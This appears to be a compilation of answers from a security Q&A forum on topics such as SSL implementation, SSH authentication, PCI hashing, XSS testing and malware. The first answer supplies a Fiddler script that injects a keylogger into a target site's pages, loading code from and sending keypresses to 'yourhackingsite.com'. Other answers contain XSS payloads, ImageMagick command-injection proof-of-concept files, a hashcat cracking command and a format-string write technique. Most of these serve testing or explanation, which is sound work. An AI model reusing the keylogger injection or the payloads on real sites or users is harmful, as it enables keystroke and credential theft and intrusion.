Intercept web traffic using Fiddler and add a keylogger function

Yes you can do this.

First of all you need to add the fiddler extension called Fiddler script.  This allows you to handle Fiddler events such as OnBeforeRequest, OnBeforeResponse etc..

Since you need to intercept the traffic on request, you need to intercept the OnBeforeRequest event.

Following is a sample code that you can use to achieve this using fiddler script. Please note that you will not be able to achieve exactly what you need from this script , but use it as a startup and modify according to your need.

if (oSession.HostnameIs("www.yourtargetsite.com") && oSession.HTTPMethodIs("POST")) // or what ever your web method
{
    oSession.utilDecodeResponse();
    var body = System.Text.Encoding.UTF8GetString(oSession.responseBodyBytes); // grab the request body here

    var logger = '<script src="http://yourhackingsite.com/logger.js"></script>';
    logger += '<script>destination=http://yourhackingsite.com/LogKeyPress?key=";</script>';

    body = body.replace("<head>",logger + "</head>");
    oSession.utilDecodeResponseBody(body); // inject your custom altered body
}


Implementing your own SSL is not a small endeavour. It takes some effort to make it run at all; it takes a lot of effort to do it securely. The cryptography in SSL is subtle, and especially the implementation of the symmetric encryption (with block ciphers) is known to have some vulnerabilities if the decryption and MAC verification are not done with the utmost care (fixed-timing comparison functions and so on).

I have once written an SSL library in pure C, for an embedded system (ARM7TDMI). It supported a few cipher suites (with 3DES and AES encryption). It included a primitive X.509 path validation system (a streamable ASN.1 decoder). Complete code footprint, once compiled, was about 20 kB; the X.509 support accounted for 6 kB, and 5 kB for the AES alone (because of its precomputed internal tables). More importantly, the library performed no dynamic memory allocation by itself; it could run with a single, caller-provided 18 kB buffer.

If you really need to fit in the smallest code size ever, you should implement a single cipher suite using RC4. RC4 has known biases so, cryptographically speaking, it sucks. However, it requires no padding, which avoids a lot of the vulnerabilities implied with the handling of the padding upon decryption, so using RC4 in that case is probably not a bad idea.

You cannot avoid any form of key exchange. Otherwise there would be no point in using SSL. A "null HTTPS session" exists: it is called "plain HTTP" with no SSL at all. RSA-based key exchange is easiest for the client, since it entails only public-key operations, i.e. exponentiation with a very small exponent. You will also need it for validating the server's certificate (RSA signature verification). Some handmade "big integer" code with the few needed operations can be built with few lines of code -- but of course, you have to understand what you are doing.

Read this answer for a description of the SSL/TLS protocol. Also, get the Handbook of Applied Cryptography (free download !), especially chapter 14, that deals with (notably) big-integer arithmetic.

And get your code reviewed. Don't imagine that you can write code with no vulnerability; be ready to do the job again. A software project should be written three times: once to understand the problem, once to understand the solution, and once to do it correctly. Since vulnerabilities don't show up during functional testing, the only way to detect them is to submit your code to several (many) other people and let them look for issues.


Is it standard practice to conduct a security review of Microsoft's
  own code base when you build an app on the Microsoft stack?

No. One reason being is that you will not have access to proprietary (Windows, IIS, .Net, patches) code unless you reverse engineer it and the effort of it would outweigh the benefits.

The common approach is to define trusted 3rd parties and accept the risk. If you wanted to cover 100% of 3rd party components, you would have to review not only .Net, Windows, device drivers, firmware, BIOS, but also the hardware as well.


The file /include/formvars.php is used by WebCalendar.  About 2 days ago,  (April 23rd 2012) a remote code execution exploit for WebCalendar was released.

Although /include/formvars.php isn't the actual vulnerable file,  its a good way of verifying that WebCalendar is installed.  Its looks like the attacker needs install/index.php and includes/settings.php however these files are very common so by checking if these files are present there is no guarantee that its actually a WebCalendar instance.  If the file /include/formvars.php is present,  it will likely follow up with a POST request to install/index.php to inject PHP code and then a GET request to includes/settings.php to execute the injected payload.


Is there Windows 2FA machine login for SMB/SOHO?

I've spent some time thinking about this and wanting a good solution. At the moment, Windows 10 can join Azure AD, and the device itself become a form of authentication, where you can use your Azure AD PW, or set up a PIN. You can also set up a Yubikey with Azure and Windows Hello these days. But this won't help you with on-prem AD or Windows 7 and prior installs.

For Non-Azure AD or non-Win10 installs, take a look at AuthLite (http://www.authlite.com/). It is the solution that kept cropping up in my research. I really wanted to deploy Yubikeys and AuthLite a few years ago, but the project was cancelled, so I don't have any personal experience deploying this setup.


Will my method for managing account data work?

Is this a good idea?

Yes and No. I don't think there is any harm of storing hash($email) instead of $email You're gaining privacy over usability since you will not be able to send an email to all users at the same time. Collision will be your biggest problem here. I am assuming you are using a collision-almost-free hashing function to avoid collision (e.g. sha512)

  If I retain IP addresses for logging purposes and link IPs to accounts, will a hacker be able to match the IPs elsewhere and work out/guess many emails anyway? Is a large list of user IPs valuable to anyone?

A hacker who is on-path and doing man-in-the-middle CAN match accounts with IPs by simply sniffing the network packets. He/she can even hijack these accounts if you use constant cookies for sessions.

Think about a situation when you have mutiple accounts coming from the same network (same IP) The IP address of each client will not be different.


Breaking Wifi password knowing its length of 8 [A-Z] alpha (upper-case) characters using Hashcat

Is there any way to generate passwords (example: ABCDEFGH) and delete
  them after its use one by one, during the cracking process?

Try a mask attack where you've defined the mask as 8 digits of uppercase:

hashcat -m 0 -a 3 hashfile ?u?u?u?u?u?u?u?u

(replace -m 0 with whatever mode you're cracking)

There's an excellent tutorial on mask attacks here.


Password reset link vs Temporary password

I an not sure how to directly exploit the Password reset links but the link pattern can be definitely used for Phishing campaigns.
However for temporary passwords I feel that their strength depends on how guessable they are and how strong the password generating algorithm is. If they are random like OTP, there might be issue of randomness.


ROP gadget for setuid(zero) - writing argument zero into the stack

While the program itself may not have a format string vulnerability, you can still use the same technique to abuse printf's ability to write arbitrary data at relative offsets without even knowing the address to write to.
The manpage of printf is your friend here. On x86, arguments are taken from the stack, so if you called printf here with the argument %p %p %p %p, it would print out the next few values on the stack, showing the second half of your payload. The 3rd offset, I believe, should be where you are trying to write 0 for setuid's argument. This parameter could also be accessed directly using the notation %3$x.
The %n specifier tells printf to write the number of bytes already printed to whatever address is provided as an argument. So, if printf has not printed anything yet, and its argument is %3$n, it should write 0 to the 3rd stack offset, achieving your goal.
The only problem you may still have to solve is getting your printf argument into memory at a known address.
An unrelated method; if you have enough ROP gadgets, you may be able to find some combination that allows you to push a 0 onto the stack in the correct place.


Personal Information shows up in Google Search from a mailing list

In some countries (including all countries within the European Union) there is - it's called the right to be forgotten.

You'll have to fill out a form per search engine, the one for Google can be found here.


Microsoft DS is the name given to port 445 which is used by SMB (Server Message Block). SMB is a network protocol used mainly in Windows networks for sharing ressources (e.g. files or printers) over a network. It can also be used to remotely execute commands.

You use it basically every time you use Windows to access a file share, a printer, or any other ressource located on the network.

Over time, there were a lot of vulnerabilities found in the SMB implementation of Windows, some of which allowed for execution of arbitrary commands over the network, partly without any authentication. Also very common are weak configurations of SMB in networks that provide an easy attack surface.
Together these points lead to SMB being a major attack point.

An open source implementation of SMB exists with the name of Samba, which is commonly used to easily use Linux and Windows together in a network.


Easy way to analyse my netstats for intrusions?

Netstat isn't the tool to use to find malicious traffic. The reasons are:

It's done by machine. You'd have to be constantly checking every single system's netstat output to find anything. The more systems you have the harder it is to accomplish
If your machine has been hacked you may not see all traffic. Some malware is able to prevent connections from being seen in netstat

For these reasons it's better to use traffic analysis from your network by using port mirroring as you'll see all the traffic. As for what tools to use to find malicious traffic you do need an IDS/IPS like snort.

The fact is it isn't easy to do, it's hard and it takes skill. But if it was easy they wouldn't need us.


Design differences of tails and whonix concerning virtualization

Different threat models.

Whonix (needs to) assumes, that the host is safe. (Tails needs to assume this as well to some degree, because I suppose, many users are downloading and burning/installing Tails using their host, where malware could interfere.)

Tails is more focusing on being amnesic. Whonix is more concerned about misbehaving applications and leaks. Therefore Whonix is not amnesic. While there is no substitute for Whonix's lack of an amnesic feature, full disk encryption is recommended. Each project made a trade-off. (It would be nice to combine both, but we're not there development wise.)

Full disclosure:
I am a maintainer of Whonix.


Is non-executed content still considered XSS?

This is very common for automated scanning tools.  They can only be so smart, and so false positives can always happen (as can false-negatives for that matter).  As a result any flagged vulnerability should be manually verified.  This is why, for instance, bug bounty programs always have notices like "Results from automated scanners will not be considered" - it's easy to run a scanner and report a vulnerability, but security teams probably already do that anyway, so 99% of times it is a waste of time.  However that leads to the next question:

Is this particular script handling this input properly?

That's a much trickier question to answer.  You've already checked for the most obvious work around (injecting a double quote), but there are more options.  The two that come to the top of my head is the mangling of character encoding and testing out backslashes.  The former is a bit of a long-shot so I'll just focus on the latter:

Try injecting a backslash at the end of your input ?search=whatever\
If the application doesn't escape your backslash the javascript will be: var search = "whatever\";
This will break the javascript.  If you're lucky it will also let you inject XSS via a second parameter.

The last step could use an example.  Imagine the full javascript was something like this:

var a="[search input]";var b="[name input]";

To be clear the code has been minimized to save bandwidth.  This will be important.  Also, neither escapes backslashes.  Therefore you could put together a payload like this:

?search=\&name=;alert(1)//

You'll end up with this javascript:

var a="\";var b=";alert(1)//";

Which is a valid XSS payload.  Your backslash escapes the closing double quote for the var a = " statement and so the starting double quote for the second variable ends up being a closing double quote.  As a result your input for the second input ends up executing as plain javascript - you just need to end with a semi colon and then a comment character to get rid of the final closing double quote.

Now you probably won't have any luck getting this to work.  If they also handle backslashes properly then you won't have any luck.  If these lines are split into separate lines then you also won't have any luck (in most versions of javascript a line continuation character is required, but there are some non-standard browser behaviors here sometimes).  However if they forgot to escape backslashes and you can find two inputs on the same line, then you have an easy XSS vulnerability.

Summary

Really though this highlights the main take away, which is why these things are so tricky: the kind of exploit required varies strongly on the context that the data gets injected into, and it is effectively impossible for automated scanners to test everything.  Therefore as a penetration tester you have to be familiar with all your options, which is quite tricky!  Fortunately though this is also why XSS is so common - programmers are equally bad at understanding all the ways in which they must be careful to protect against XSS vulnerabilities.


How to prevent contradictions in policies

Typically, you want to have your policies in a hierarchical format so that child policies support the parent policies. That's one way to ensure that you do not end up with contradictions or logic loops.

Your example is highly detailed and is more of a procedure than a policy (a minor point, but I'm going with "procedure"), but the way to prevent contradictions and logic loops in procedures is to run decision trees to track the state of the elements in the procedures. This sounds more complex than it is, but you just need to list the various elements that can have their own states (allowed, not allowed, locked, unlocked, etc.) and see if there are different conditions that can trigger different states at the same time. You start by asking, "where do I reference room FR1?" and work from there.


if salt stored in user, will it be possible to use brute force attack?

The canonical way to secure an additional secret key is with an HSM, as in this answer.

When properly implemented, an attack cannot be carried out without access to the HSM itself. So an attacker cannot steal a list of hashes and crack them somewhere else.


File encryption allowing changing password

I think your setup is actually ok, provided:

The h() function is a slow, iterated hash to slow brute force attacks
The encryption with master key is done correctly, e.g. AES-GCM
Key sizes are appropriate, probably 128-bit k and 256-bit o

But I would caution that you are right on the edge here, this is difficult stuff to get right and you could easily introduce weaknesses. Also, this is a quick analysis from a crypto enthusiast, not an expert.


How to properly use PGP for e-mail encryption/signature (key generation, key rollover, etc.)

A key that has expired does not need to be revoked. Generate a new key and sign it with the old one.

It shouldn't be a problem that there is more than one key under your name on the key servers. Remember, never trust a key based on the name/e-mail address in its uid! Anyone could put that there. Always check the fingerprint and/or trusted signatures on the key.


Is PassFace Authentication System secure?

Well it all depends on the number of faces you can choose from. Let's compare it with another, often-used two-factor mechanism: one-time passwords.

A one-time password often contains 6 numbers. Thus, there are 10^6th possibilities: 1000000. The chance of a hacker guessing your OTP is 1/1000000. Generally, this is considered to be a pretty high chance, compared to a good password (lower case, upper case, symbols, numbers). Passwords can be one out of, let's say, 98^10 (for there are 98 possible characters, and in case the password has a length of 10). 98^10 equals to 81707280688754689024. 1/81707280688754689024 is a much lower chance than 1/1000000. However, OTPs are secure because they are only valid one time and a limited amount of time, you can block brute-forcers etc. etc., that's not the point of your question.

So okay, considering we should compare apples to apples, we can compare the passface system with the OTP system. I did a demo on the passface website, and to login, I had to select 1 out of 9 faces, and repeat that three times. So the amount of possibilities is 9^3 = 729. A hacker has thus 1/729 chance to find my combination right from the first time, which is an enormously higher chance than 1/1000000 and even an infinite higher chance than 1/81707280688754689024.

  Edit: Some sources note that the passface database contains more than 9 faces, and that they may dynamically change upon each try.
  Depending on how many faces there are in the database, the above
  calculation is thus not entirely correct. However, I want to point out
  that, in case the faces do change upon each try, that renders the
  system even less secure. The hacker could just retry a few times and
  see which faces change, and which faces remain the same (the ones that
  you chose have to remain in the faces set of course). Analysing this a
  bit more, the attacker could then easily reduce the search space.
  End of edit.

That chance is thus HUGE compared to other known systems (such as passwords, OTPs, keyfiles, etc.). So no, if the demo is a real-life implementation of the passface system, I would not deem it secure. Of course, some other measures matter:

Is there a lock-out after a certain amount of tries?
Is it 'just' used as a second factor?
How often does the combination change? (i.e. how often do you need to learn new faces)

As an endnote: I saw that the passface system is marketeered as a 'replacement' for passwords, and that the 'overriding' password can only be used after a few days. If that is the case, I would say it is completely insecure, as the passface system is then the only factor.

By the way, I didn't go into details as to how Passface stores the faces. Probably just in a db, but anyway, my point is that even if the system itself is completely secure, the maths behind it just aren't.


How to tell JohnTheRipper to solve a password using multiple hashes?

It is not possible to combine multiple hashes in order to speed up a brute-force attack. In your case the hashes seem to use the same algorithm, which means it doesn't matter which hash you try to crack.


Stopping webpage compromise by preventing frame-busting

You need the sandbox attribute. This is a new attribute supported by all major browsers. Sandbox attribute imposes extra restrictions on the content inside the iframe - one of those restrictions is running javascript. You can choose to remove the other restrictions that you do not want to impose.

Use the following to embed URLs from different/untrusted domains in your web pages:

<iframe src="http://example.com/external-content.htm" sandbox></iframe>

Here is the quick reference (copied from the w3schools link above):

  When the sandbox attribute is present, and it will:

  treat the content as being from a unique origin
  block form submission
  block script execution
  disable APIs
  prevent links from targeting other browsing contexts
  prevent content from using plugins (through ,
  , , or other)
  prevent the content to navigate its top-level browsing context (this is what you need)
  block automatically triggered features (such as automatically playing a video or automatically focusing a form control)


Why are web font resource requests not no-cors?

This mechanism exists mainly as a way for font creators to control which websites can access their possibly copyrighted and licensed products.

As MDN puts it:

  ... Web Fonts (for cross-domain font usage in @font-face within CSS), so
  that servers can deploy TrueType fonts that can only be cross-site
  loaded and used by web sites that are permitted to do so.

As a note this decision was not always welcomed and for a time Chrome didn't require the CORS header for webfonts.

As for why this is different for CSS and JS one reason is the history of the CORS header. CSS and JS predate the introduction of CORS and to apply restrictions to them retroactively would have broken many existing sites. Webfonts on the other hand are relatively new and there was less reason not to apply the same-origin rule.


What risks exist when executing HTTP requests to user-submitted resources?

Conceptually yes, this opens up a (quite obvious) way for external sources to somehow manipulate what will end up on your application. Whether that translates into a vulnerability is entirely dependent on what you do with the information.

It is critical that you exhaustively filter anything that is brought in, consider applying a white list of characters, or multiple ones depending on which field you are filtering. Not interpreting anything that comes back is helpful -- parsing responses as plaintext only.

Definitely control remote URLs (and protocols, make sure it's http:// or https://) and redirects and reject anything like localhost or RFC1918 addresses to protect your own network. Also limit the rate at which you access remote resources. Ideally plan to batch these requests and have them done by a separate process or on a different server.

Presuming that you'll only be showing some of the information pulled in, again make sure you filter and escape everything very carefully even if it comes back from your own database (since it's not impossible that it hadn't been properly filtered on the way into the database). Assume the worst.

Notwithstanding the functionality you need on your application, this type of activity incurs quite a bit of risk.


Is this type of network possible in home environment?

You can implement such type of setup by using squid as proxy server inside your network, and give it access to the internet on your home router and deny all other computers from the internet access.

But such setup will depend on which type of home router you have, your home router should have some kind of firewall configuration or you will use Linux box as a gateway with IPtables.

I want to add also that such configuration will mitigate the risk of some remote access threats only and many advanced threats are smart enough to pass such scenarios.


MindSpark is a "Potentially Unwanted Program" flagged by several anti-malware/spyware tools. It is installed with many unwanted browser toolbars, and serves largely as a way of boosting advertising revenue and improving user tracking. I believe the cookies are injected across sessions including private/incognito browsing to allow websites to identify a user, even if they are taking the regular precautions to avoid it.

The browser sends it to all domains; websites that can benefit from MindSpark users, use this cookie to generate other actions from the user's machine, that are likely used to boost revenues.

The user is not intentionally generating POSTs that cause failures in your web server. It's just that his/her browser has a PUP toolbar that he/she likely installed by not paying close attention to it. You may want to inform this end user.

References:

Kotzias, Platon, Leyla Bilge, and Juan Caballero. "Measuring PUP prevalence and PUP distribution through Pay-Per-Install services." Proceedings of the USENIX Security Symposium. 2016.
Malwarebytes blog post


Benefits of secure code review in-IDE vs. fatapp vs. webapp

Not much of an answer, but I would say it depends more on the feature-set of each product, and the usablity of each interface.
E.g. Fortify's IDE plugin, fatapp, and webapp are not equivalent in supported features.  Even more, Fortify's Eclipse plugin is not equivalent to their own VisualStudio plugin!

In principle though, assuming all else being equal, my preference would be:

As an auditor / security consultant, I would prefer the standalone. Dont need to start messing with their environment, helps me focus more, etc.
As a developer (and for my clients/developers), I would prefer IDE plugin, so as to put everything right in front of them, thy dont need to open another tool, they wont forget about it, makes it part of their dev/compile, etc.
A web app for statistics (ala what Fortify tried to do with their 360 server, but not great IMO) is great for management and such.

A note, the above mostly depends on relying on automated code scanners, as opposed to manual code review. Sometimes that's what is needed, but in general usually not good enough.


Isn't separating privileges less useful on a PC, as all my critical data is in my normal user account?

What Julian says is not correct.

The odds of malware getting a foothold are unchanged.  If you can encrypt all your data, so can malware.  If you can send packets, so can malware.

What's different between running as an admin and a less privileged user is the effort that malware must expend to persist or survive when you run antivirus software to clean up.   If you're running as admin, then it has far more places, and more powerful places, into which to hook, making the job of the AV software much harder.


Security risk of opening port 111 (rpcbind)?

If you expose this service to the internet, everybody can query this information without having to authenticate. It can be useful to attackers to know what you have running.

Also, the RPC service has a history of security vulnerabilities. So don't expose it to the world unless you have to.


Additional security of keyfile on top of a master password for KeePass

I think your security model has a couple of potential flaws here - I'll list the potential issues I can see, and you can let me know if they are valid worries in your particular circumstances:

If you have a real worry about not being able to secure your computer against keyloggers, the implication is that an attacker could install anything - which to my mind means game over: they can extract all the data from your KeePass whether you log on with a token or not by grabbing that data the next time you use KeePass.

In addition storing on Dropbox means they could potentially carry out this attack from other locations by sharing your Dropbox as per this vulnerability.

Your only real protection against a threat actor which you think can compromise your machine is to not use that machine (unless you can configure it in such a way that they can't compromise it, of course) and do something like use KeePass on a mobile device (where your risk becomes one of losing your device or having it stolen).


Email from supposedly Apple (mycloud.ssl.com)

If the link visible in the location bar of the browser is the same link you've clicked on then probably nothing dangerous happened.

But, it might be that the link in the browser is different from the one you've clicked on and that there were redirections and reloads before you've actually reached the site blocked by Google Safebrowsing. In this case it might well be that the attackers got notice that you've clicked the link and concluded that you might be a gullible person and that they will try this email again later. It could even be that they've mounted a drive by download attack to infect you with malware.


How to support search of data under PCI-DSS?

PCI requires the data be unreadable. This is generally done through encryption or hashing. As you state above, decrypting for the purpose of searching is a terrible idea for performance. Hence, hashing is a great option for fast searching and a strong hash is recommended/required. The PCI DSS doesn't require a salt be used. If you want to use a salt, it should be static to support the search speed requirement. If storing both truncated PAN and hashed PAN, you should be using a salt.


I figured it out!

base64 -D file.enc > binary_messge.bin
openssl rsautl -decrypt -in binary_message.bin -out decrypted_message.txt -inkey rsa_1024_priv.pem

The problem was that the encrypted data needed to be base64 decoded before I could decrypt it.


As @klaustopher describes, the SSH tunnel uses a Diffie-Hellman key exchange, to establish a shared secret between client and server; this shared secret is used with symmetric cryptography to encrypt and check integrity of all subsequently exchanged data.

As itself, DH+symmetric crypto is fine, but it does only half of the job. When the DH protocol has been executed, the both client and server know that they now have a secure tunnel with... someone. But they do not know who. They just know that this will be the same entity throughout the lifetime of the connection. So this is vulnerable to active attackers who impersonate the client, the server, or both. The famous Man-in-the-Middle attack is a case of double impersonation (the attacker acts as a fake server when he talks to the client, and as a fake client when he talks to the server).

To make a completely secure tunnel safe for transmitting confidential data and sensitive commands, the client and server must authenticate each other. In the first steps of the protocol, the server signs what he sends (his half of the Diffie-Hellman protocol); the client verifies that signature with regards to the known server public key (the one the client stores in .ssh/known_hosts). Once the signature as been verified, the client knows that it is doing the DH key exchange with the genuine server, not an attacker posing as the intended server. This means that the client can safely send confidential data over the tunnel. In particular, once the DH has been done, the first exchanges go thus:

(server) Ok, new client. We did the DH, I signed, you verified, you know I am the rightful server. Who are you ?
(client) I'm Bob.
(server) Prove it !
(client) Here is my password: bobisthemasteroftheuniverse
(server) Ok, I do know of a "Bob" user, and that's the right password. Welcome, Bob.

Thanks to the authentication of the server by the client (through the signature verification algorithm), the client knows that it can safely send his password in the tunnel.

The SSH protocol also supports signature-based client authentication. The DH and signature by the server are still done as previously. But the protocol then goes thus:

(server) Ok, new client. We did the DH, I signed, you verified, you know I am the rightful server. Who are you ?
(client) I'm Bob. I have a key pair ! The public key id is: (...)
(server) Yeah, let's see to that. Here is a bunch of random data, I challenge you to sign it: (...)
(client) Here is a freshly generated signature on your challenge: (...)
(server) Good. I know of a "Bob", his .ssh/authorized_keys contains a public key matching the id you sent, and your signature on my challenge verifies correctly with regards to that public key. Welcome, Bob.

More or less the same thing happens with HTTPS. There are many local differences, e.g. the HTTPS client recognizes the server public key by validating a certificate instead of remembering it from a previous visit; and the password thing can take the form of actual Web pages; but the gist of the exchange is the same: the client makes sure that it talks to the right server by verifying its public key, and then the server makes sure that it talks to the right client (if the server is really interested in knowing who is the client) by running some sort of authentication protocol within the tunnel.


How to prevent the latest ImageMagick vulnerability?

As per the page you linked, there's a workaround.

Add the following to your policy.xml:

<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="TEXT" />

This file can be found in /etc/ImageMagick/.

This prevents the ImageMagick coder modules from leveraging the access modules above, each of which are currently vulnerable to the command injection issue.

There are a number of documented PoCs for the bug over at the oss-security thread, which can be used as a check to validate whether the bug is still present after applying the workaround.

Here are a couple examples:

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

exploit.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

Simply running convert against these will cause ls -la to be executed, the output of which will be displayed in your console if the vulnerability is present.


A computer on the public network I was using was penetrated at a codejam. Am I at risk?

The short answer, yes, you're always at risk. Should you be worried? Probably not, people like to be the center of attention and be charlatans, another time try to ask for technical details, how did he know that there were a compromise of his computer, what did he do to mitigate?

If your operating system and running applications was updated, you had newly updated security definitions for Windows Defender installed and haven't disabled your firewall you're properly safe. Also try to think it about it another way - what value do you have as a target?

If you still don't trust that you're safe, I would wipe my machine. You can do many things to try to get the feeling that you're safe, but if you're machine was compromised and infected with a rootkit or similar, you would probably not find it anyway.

For Django specifically you can find their security documentation here:
https://docs.djangoproject.com/en/stable/topics/security/

And current CVE's here:
https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=Django&search_type=all


Efficient Way to Brute Force With Large Wordlist

The resulting file is almost 15GB. How can I efficiently test all of these passwords? The RAM on my device cannot even hold this file all at once

There is no reason you would need to keep the entire file in memory.  Just read the file part by part.  Achieving this and speeding it up is just a matter of how you code it.

In addition, if it's your own device then you can cut out the SSH client and server completely and simply perform the brute forcing directly on the password hashes in your shadow file.

Instead of reinventing the wheel, there are pre-existing solutions for brute-forcing hashes as quickly as possible.  There are also pre-existing lists/generators so you can use what a real attacker might use to get a bit more of a real-world test.

It looks like you're trying to brute-force your own passwords using a generator tailored to your own password format.  The usefulness of this is dubious.  Are you just trying to get a sense of how brute-forceable your passwords are?  The use of your custom generator would render the results fairly meaningless.  Even if you switched to pre-existing brute-forcing tools with pre-existing wordlists/generators the results will be of limited use (unless you succeed of course!): you don't just want passwords that can't be brute-forced easily, you want it so that it has additional entropy spare even after that point so it's practically not achievable.  You can get a general sense of how much entropy exists in your password by inspecting it and having a good understanding of how much you need.


Are botnet nodes made to stop working during office hours?

Botnets and malware, especially sophisticated ones, are made to be as stealthy as a malware could be. The fact that the piece of malware you're talking about "stops working" during office hours makes me suspect a data exfiltration bot more than a general-purpose zombie.

The first example of malware that comes to me is Lazarus/Bluenoroff, it specialised in financial cyber attacks, and where attackers operated out of office hours according to the victim's schedule and timezone to avoid detection.


Which companies facilitate payment in return for vulnerability disclosure?

In the 'white' sense, the most well known companies that pay researchers to buy vulnerabilities or exploits are:

Zero Day Initiative (ZDI) by TippingPoint: http://www.zerodayinitiative.com/
iDefense http://labs.idefense.com/vcp/
iSight https://gvp.isightpartners.com
SecuriTeam http://www.beyondsecurity.com/ssd.html
Netragard http://snosoft.blogspot.com/2010/03/recent-news-on-forbes-about-our-exploit.html
Several exploit research companies like COSEINC and Immunity also buy from researchers, although it's not advertised very much.

Certain companies like Mozilla and Google have established bug bounty programs - they buy vulnerabilities of their software themselves.

Charlie Miller (famous exploit developer) has written a small paper on the topic - it's an interesting read: The Legitimate Vulnerability Market: The Secretive World of 0-Day Exploit Sales (2007)


Are stronger passwords safe in case of a breach?

A stronger password is almost always better than a weak password. In the event of a breach, the details of the hashing and salting of passwords become very important.
If the server used plain text, strong passwords and weak passwords are all equally and thoroughly.
If the server used, for example, the infamous Microsoft LAN Manager, hash string passwords won't help much, alphanumeric passwords of length (14 is the max) would be instantly broken using high coverage rainbow tables. Some really odd special characters will help some but not much.
If the site used proper security, for example salted bcrypt hash, there is currently no feasible way of inverting a reasonably strong password even with such a hash. The salting makes rainbow tables not very useful, and bcrypt is designed to be slow to brute force rather than fast to compute legitimately.
However the site.breached is obviously compromised and other sites are presumably using different passwords. If you are using random passwords, you are probably using a password manager and can give each site its own password. So if it's only changing the one compromised password, just do it.


Is it still possible to get a virus simply by visiting a website?

Absolutely, even legitimate web sites can be a source of infection due to the ads they display (for instance exploit kits or drive-by).
Also, as soon as you navigate from a vulnerable browser (especially affected with a zero-day exploit) or even worst with vulnerable plugins, some types of virus can load themselves without any kind of intervention (clicking accept to download or opening a file for example).
However, there are encouraging improvements to counter this problematic, Edge now uses an interesting security feature which consists of a partial sandbox used when browsing, so that any damage at the browser level is automatically remediated without compromising other software components.


As usual when using automated scanners, you'll need to do some manual testing to confirm this vulnerability or reject it as a false positive.
Why would ZAP label this as XSS?
From the ZAP documentation (thanks @SimonBennetts):

Cross Site Scripting (reflected)
This rule starts by submitting a 'safe' value and analyzing all of the locations in which this value occurs in the response (if any). It then performs a series of attacks specifically targeted at the location in which each of the instances occurs, including tag attributes, URL attributes, attributes in tags which support src attributes, html comments etc.

That means that ZAP's false-positive rate for reflected XSS is probably pretty low, ie most of what it reports is real, because it only reports things where the input is being reflected back in the page source in a way that appears vulnerable to one of the standard XSS mechanisms.
Anything it reports is worthy of further manual investigation.
What if there's no place in the UI to enter it?
Doesn't matter.
The most dangerous kinds of XSS are ones where the malicious payload is in a GET URL parameter, for example:
http://server/cgi-bin/testcgi.exe?usedid=<script>alert("Hello!")</script>

because then I can put that link into a phishing email and once you click on it, you're running my code!
So even though there's no UI element, ZAP has found some parameter in which it can inject code and the server will echo it back as part of the HTML page.
Do some manual testing
This is where you'll need to go inspect the page source / start playing with it until you've either produced an alert popup, or convinced yourself that the developers did proper output escaping.
To get you started, OWASP has a great XSS testing guide:
https://www.owasp.org/index.php/Testing_for_Cross_site_scripting
As @AndrolGenhald points out, the "Bad Request" page probably echos the input back to you without properly escaping it. If I hit your server with usedid=<script>alert("Hello!")</script>, I'm guessing it would serve me back an error page saying
Bad Request: "<script>alert("Hello!")</script>" is not a valid user.

If you look in the page source, I would hope you would see this properly escaped:
Bad Request: &quot;&lt;script&gt;alert(&quot;Hello!&quot;)&lt;/script&gt;&quot; is not a valid user.

which tells your browser to render this as text, rather than treating it as part of the HTML code. If it does not appear escaped in the page source, then with a bit of playing around you can probably get it to render as:
Bad Request: "

which means it actually ran the script rather than  rendering it as text (and you'll probably have a nice popup to go with it). Hello reflected XSS attack vector!! (You just found a vulnerability, open a bug ticket and go have a beer)


Possible to detect tools like HTran from network analysis?

If you are only doing network analysis and not using any IDS systems with signatures, one thing that would be observed is the traffic going between the hosts where that isn’t normal to see. Hosts don’t generally communicate to each other on a large enterprise network, host to server yes, not host to host. So with knowledge of the tool ports and protocols, you can look for traffic going host to host that matches. EDR software and IDS, data collection and analysis (e.g. splunk) and other tools will give you more to look at.


Isn't Facebook Apptoken Oauth2 client credential unsecure since it sends login credentials request in GET URL?

You are correct, that sending any credentials as GET parameter isn't best practice. OWASP ASVS (currently version 4.0.1) states this explicitly in requirement 3.1.1:

Verify the application never reveals session tokens in URL parameters or error messages.

In addition, RFC6749 gives an actual example for the client credentials grant, where the token is sent as POST request with an Authorization header.

While using GET parameters for tokens is not best practice for several good reasons, the risk is not that severe, as you are using TLS and communication (including URL parameter) is encrypted between the client and the server. In addition, we are talking about back-end to server communication, where the URL isn't even exposed in the client, so it isn't stored in a browser history and the URL isn't directly exposed to a potentially irresponsible user.

Nevertheless, if you have the option, you should go with the token as POST parameter or as HEADER value.


Is it a security concern if MySQL manipulates parameter types?

This allows for (potentially malicious) actions that are contrary to the intended use of the application, so yes it is a security flaw that you should be worried about. Just because you have found limited use cases / attack vectors does not mean that others don't exist.
Ideally you should take a "defense in depth" approach whereby you mitigate the concern in as many levels as is practicable. As mentioned above you have only discovered a single attack vector, and mitigation at all levels requires that any related vectors will have to bypass all mitigations rather than a single-layer one. That being said; it may not be appropriate to modify the ORM library as it is not necessarily a generalisable issue.


What SQL injection tool generates queries in my access_log?

It doesn't matter which tool was used.

Even if you knew which tool was used, it doesn't mean that the tool would necessarily be able to exploit all that can be exploited.

If your app is vulnerable to SQL injection, then in all likelihood no tool at all is needed by even a moderately-skilled attacker to do anything that can be done with the database credentials the web server is using to access the database.

You have an application with a known vulnerability to SQL injection.  It should be taken offline until fixed.  You already have logs pointing you to the mechanisms the tool appears to have successfully exploited, so you already know where at least one vulnerability is -- in x.php or one of its dependencies.  You should also be able to simply replay the logged requests with curl.


WordPress Hacked. Deny access via admin - helpful or not?

As Nick stated, you should really look through your logs and determine how your site was compromised to learn how to best mitigate it moving forward.

I don't believe blocking access to the admin will serve much good, except to inconvenience whoever has the job of maintaining it. I would hope the password was not guessed, and installing a plugin like All In One WP Security will mitigate brute force attacks.

